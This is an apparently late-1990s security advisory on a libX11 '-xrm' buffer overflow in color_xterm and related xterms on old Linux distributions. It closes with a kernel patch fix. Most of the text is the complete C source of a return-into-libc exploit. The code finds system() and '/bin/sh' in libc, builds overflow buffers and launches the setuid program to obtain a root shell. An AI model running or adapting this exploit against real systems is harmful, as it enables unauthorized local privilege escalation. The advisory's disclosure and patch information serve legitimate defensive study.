COMMAND

    xrm (color_xterm, xterm, nxterm)

SYSTEMS AFFECTED

    Linux Slackware 3.1, RedHat 4.2

PROBLEM

    Solar  Designer  posted  a  return-into-libc overflow (local only)
    exploit.  It is for the  -xrm libX11 overflow. It has been  tested
    with  color_xterm  from  Slackware  3.1.  Will  also work on other
    xterms  (tested  with  xterm  and  nxterm  from  RedHat  4.2), but
    providing a user  shell (not root),  since these temporarily  give
    up their privileges, and an extra setuid() call would be required.

    Actually, using this method it  is possible to call two  functions
    in a row  if the first  one has exactly  one parameter. The  stack
    should look like this:

                                pointer to "/bin/sh"
                                pointer to the UID (usually to 0)
                                pointer to system()
 stack pointer ->               pointer to setuid()

    This  will  require  up  to  16  values for the alignment. In this
    case, setuid() will  return into system(),  and while system()  is
    running the pointer to UID  will be at the place  where system()'s
    return  address  should  normally  be,  so  (again) the thing will
    crash after  you exit  the shell  (but no  solution this time; who
    cares anyway?).

    Another thing specific  to this exploit  is that GetDatabase()  in
    libX11  uses  its  parameter  right  before  returning,  so  if we
    overwrite the return address and a few bytes after it (like normal
    pattern filling would do), the exploit wouldn't work. That was the
    reason the -xrm exploits posted  were not stable, and required  to
    adjust the size  exactly. With returning  into libc, this  was not
    possible  at  all,  since  parameters  to  libc function should be
    right after  the return  address. That's  why it  is done  a trick
    similar  to  my  SuperProbe  exploit:   overwrite  a  pointer to a
    structure that has a function pointer in it.  This trick  requires
    three separate buffers filled with different patterns.  The  first
    buffer is what Solar overflow  with, while the two others  are put
    onto the stack  separately (to make  them larger). Again,  there's
    no correct  return address  from system(),  and a  pointer to some
    place on the  stack is there.   This makes it  behave quite  funny
    when  you  exit  the  shell:  an  exploit  attempt is logged (when
    running Solar patch), since  system() returns onto the  stack. ;^)
    You  can  just  kill  the  vulnerable  program you're running from
    instead of exiting the shell if this is undesired.

    Note  that  you  have  to  link  the  exploit with the same shared
    libraries that the vulnerable program. Also, it might be  required
    to add 4  to ALIGNMENT2 if  the exploit doesn't  work, even if  it
    worked when running as another user...

    >-- cx.c --<

    /*
     * color_xterm   buffer    overflow   exploit   for   Linux   with
     * non-executable stack
     * Copyright (c) 1997 by Solar Designer
     *
     * Compile:
     * gcc cx.c -o cx -L/usr/X11/lib \
     * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
     *
     * Run:
     * $ ./cx
     * system() found at: 401553b0
     * "/bin/sh" found at: 401bfa3d
     * bash# exit
     * Segmentation fault
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <setjmp.h>
    #include <sys/ptrace.h>
    #include <sys/types.h>
    #include <sys/wait.h>

    #define SIZE1           1200    /* Amount of data to overflow with */
    #define ALIGNMENT1      0       /* 0..3 */
    #define OFFSET          22000   /* Structure array offset */
    #define SIZE2           16000   /* Structure array size */
    #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
    #define SIZE3           SIZE2
    #define ALIGNMENT3      (ALIGNMENT2 & 3)

    #define ADDR_MASK       0xFF000000

    char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
    int *ptr;

    int pid, pc, shell, step;
    int started = 0;
    jmp_buf env;

    void handler() {
      started++;
    }

    /* SIGSEGV handler, to search in libc */
    void fault() {
      if (step < 0) {
    /* Change the search direction */
        longjmp(env, 1);
      } else {
    /* The search failed in both directions */
        puts("\"/bin/sh\" not found, bad luck");
        exit(1);
      }
    }

    void error(char *fn) {
      perror(fn);
      if (pid > 0) kill(pid, SIGKILL);
      exit(1);
    }

    int nz(int value) {
      if (!(value & 0xFF)) value |= 8;
      if (!(value & 0xFF00)) value |= 0x100;

      return value;
    }

    void main() {
    /*
     * A portable way to get the stack pointer value; why do other exploits use
     * an assembly instruction here?!
     */
      int sp = (int)&sp;

      signal(SIGUSR1, handler);

    /* Create a child process to trace */
      if ((pid = fork()) < 0) error("fork");

      if (!pid) {
    /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
    /* A loop since the parent may not start tracing immediately */
        while (1) system("");
      }

    /* Wait until the child tells us the next library call will be system() */
      while (!started);

      if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
      if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
      pid = 0;

      printf("system() found at: %08x\n", pc);

    /* Let's hope there's an extra NOP if system() is 256 byte aligned */
      if (!(pc & 0xFF))
      if (*(unsigned char *)--pc != 0x90) pc = 0;

    /* There's no easy workaround for these (except for using another function) */
      if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
        puts("Zero bytes in address, bad luck");
        exit(1);
      }

    /*
     * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
     * in its address. To avoid specifying the actual address that libc is
     * mmap()ed to we search from the address of system() in both directions
     * until a SIGSEGV is generated.
     */
      if (setjmp(env)) step = 1; else step = -1;
      shell = pc;
      signal(SIGSEGV, fault);
      do
        while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
      while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
      signal(SIGSEGV, SIG_DFL);

      printf("\"/bin/sh\" found at: %08x\n", shell);

    /* buf1 (which we overflow with) is filled with pointers to buf2 */
      memset(buf1, 'x', ALIGNMENT1);
      ptr = (int *)(buf1 + ALIGNMENT1);
      while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
        *ptr++ = nz(sp - OFFSET);           /* db */
      buf1[SIZE1 - 1] = 0;

    /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
      memset(buf2, 'x', SIZE2 + SIZE3);
      ptr = (int *)(buf2 + ALIGNMENT2);
      while ((char *)ptr < buf2 + SIZE2) {
        *ptr++ = shell;                     /* db->mbstate */
        *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
      }

    /* buf3 is filled with pointers to system() */
      ptr = (int *)(buf3 + ALIGNMENT3);
      while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
        *ptr++ = pc;                        /* db->methods->mbfinish */
      buf3[SIZE3 - 1] = 0;

    /* Put buf2 and buf3 on the stack */
      setenv("BUFFER", buf2, 1);

    /* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
      execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
      error("execl");
    }

    >-- cx.c --<

SOLUTION

    You can find  the fixed version  of my non-executable  stack Linux
    kernel patch at:

        http://www.false.com/security/linux-stack/

    The problem is fixed by changing the address shared libraries  are
    mmap()ed at in such a way so it always contains a zero byte.  With
    most vulnerabilities the overflow  is done with an  ASCIIZ string,
    so  this  prevents  the  attacker  from  passing parameters to the
    function, and from filling the buffer with a pattern (requires  to
    know the exact  offset of the  return address).   It also fixes  a
    bug  with  the  binary  header  flag  which allowed local users to
    bypass the patch.

    And  one  more  good  thing:  Solar  added  a symlink-in-/tmp fix,
    originally by Andrew Tridgell. He changed it to prevent from using
    hard links too,  by simply not  allowing non-root users  to create
    hard links to files they don't own, in +t directories. This  seems
    to be the desired behavior anyway, since otherwise users  couldn't
    remove such links they just created. He also added exploit attempt
    logging, this code is shared with the non-executable stack  stuff,
    and  was  the  reason  to  make  it  a single patch instead of two
    separate ones.  You can enable them separately anyway.